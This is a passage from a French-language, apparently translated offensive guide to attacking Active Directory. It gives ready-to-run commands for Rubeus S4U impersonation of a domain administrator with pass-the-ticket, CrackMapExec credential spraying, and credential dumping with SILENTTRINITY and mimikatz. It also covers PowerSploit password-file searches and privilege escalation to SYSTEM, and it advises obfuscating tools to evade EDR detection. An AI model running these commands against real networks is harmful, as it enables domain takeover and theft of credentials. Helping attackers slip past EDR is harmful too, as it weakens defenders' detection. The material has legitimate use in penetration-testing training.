..\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local
-
Enfin, nous usurpons ensuite l'identité d'un administrateur de domaine (Administrateur) à l'aide du processus de service pour utilisateur (S4U) de Rubeus sur le DC cible.
.\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt
-
Avec le ticket importé, nous pouvons alors
accéder au contrôleur de domaine.
-
Encore une fois, cela tire parti du fait que l'administrateur système a fait une gaffe et a ajouté le groupe "Utilisateurs" pour avoir un accès Generic_Write au DC.
Même si nous ne pouvions pas y accéder via SMB, nous avons modifié les autorisations qui nous le permettraient.
Attaque : Recherche de comptes privilégiés | Outil : CrackMapExec
-
Celui-ci n'est pas nécessairement une "attaque" mais plutôt une méthodologie pour faire une bonne reconnaissance et énumération, avec laquelle quelques outils peuvent aider.
-
Les comptes privilégiés sont si incroyablement courants qu'il n'est pas rare de trouver des comptes d'une personne, puis de se connecter au poste de travail d'une autre personne et d'avoir un accès en lecture à ses données.
-
De plus, avoir des privilèges sur des serveurs auxquels cet utilisateur ne devrait pas avoir d'accès professionnel, ce qui conduit bien sûr l'attaquant à simplement vider les informations d'identification partout et finalement à trouver des informations d'identification qui fonctionnent sur le contrôleur de domaine.
-
-
La méthodologie ici est assez simple : pulvérisez les informations d'identification sur le réseau, voyez à quoi vous pouvez vous connecter.
-
Avec crackmapexec, vous pouvez lister les partages et voir à quoi vous avez accès en écriture:
crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares
-
À partir de là, utilisez SILENTTRINITY pour ouvrir une session
sur ce à quoi l'utilisateur a accès en écriture, exécutez le
module mimikatz et espérons que vous trouverez de nouvelles
informations d'identification privilégiées.
​
Outils : Suite PowerTools
-
Attaque 1 : Recherche de mots de passe dans des fichiers.
-
Une autre chose à rechercher est les mots de passe dans les fichiers.
-
Il y a eu plusieurs occasions où je trouve qu'un utilisateur stocke des e-mails dans son dossier Documents, qui contient un mot de passe. Ou ils conservent un fichier Excel/Word contenant des mots de passe.
-
C'est là que la suite PowerSploit est utile.
-
-
Par où commencer avec la suite PowerSploit… en gros, si vous voulez faire quelque chose de malveillant, il existe un module Powershell pour cela.
-
Dans le cas de la recherche de mots de passe, ou de toute chaîne d'ailleurs, PowerView est votre ami.
-
Gardez à l'esprit que les EDR capturent pratiquement tous les modules de cette suite, je suggère donc de les encoder avant de les utiliser via Invoke-Obfuscation.
-
Téléchargez la suite PowerSploit et ouvrez Powershell dans le répertoire dans lequel vous l'avez extrait (assurez-vous que vous êtes administrateur).
-
-
Tout d'abord, autorisez l'exécution des scripts : Set-ExecutionPolicy Bypass
-
Puis importez le module : Import-Module .\PowerView.ps1
-
Dans le module PowerView se trouve une commande appelée Invoke-FileFinder, qui vous permet de rechercher des fichiers ou dans des fichiers pour n'importe quelle chaîne de votre choix. Considérez la chaîne 'password'.
-
Recherchez dans le lecteur C tout ce qui contient la chaîne 'password'
-
Sachez simplement que cela prend beaucoup de temps. Cela aide à réduire la zone de recherche et à exécuter la commande à partir de ce répertoire.
-
-
Attaque 2 : Get-ExploitableSystem
-
Ce script interrogera Active Directory pour le nom d'hôte, la version du système d'exploitation et le niveau de service pack pour chaque compte d'ordinateur, puis effectuera une référence croisée avec une liste d'exploits Metasploit courants.
-
Importez d'abord l'ensemble de la suite PowerSploit : Import-Module .\PowerSploit.psd1
-
Exécutez ensuite la commande : Get-ExploitableSystem -Verbose
-
​
-
Attaque 3 : Power Up
-
Dans le module PowerUp se trouve une fonction appelée "Invoke-All-Checks" qui fait exactement ce qu'elle dit.
-
Il vérifie tout, des chemins de service non cités à la recherche de MS14-025, il fait beaucoup.
Regardez le Github pour plus d'informations. -
Commande : Invoke-AllChecks
-
​
​
-
Attaque 4 :
-
Ce module fait la même chose que la fonction Metasploit 'GetSystem'.
-
Exécutez la commande : Get-System -Technique Token
ou -
Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
-
Je suis seulement administrateur.
-
Je suis SYSTEM!
-
-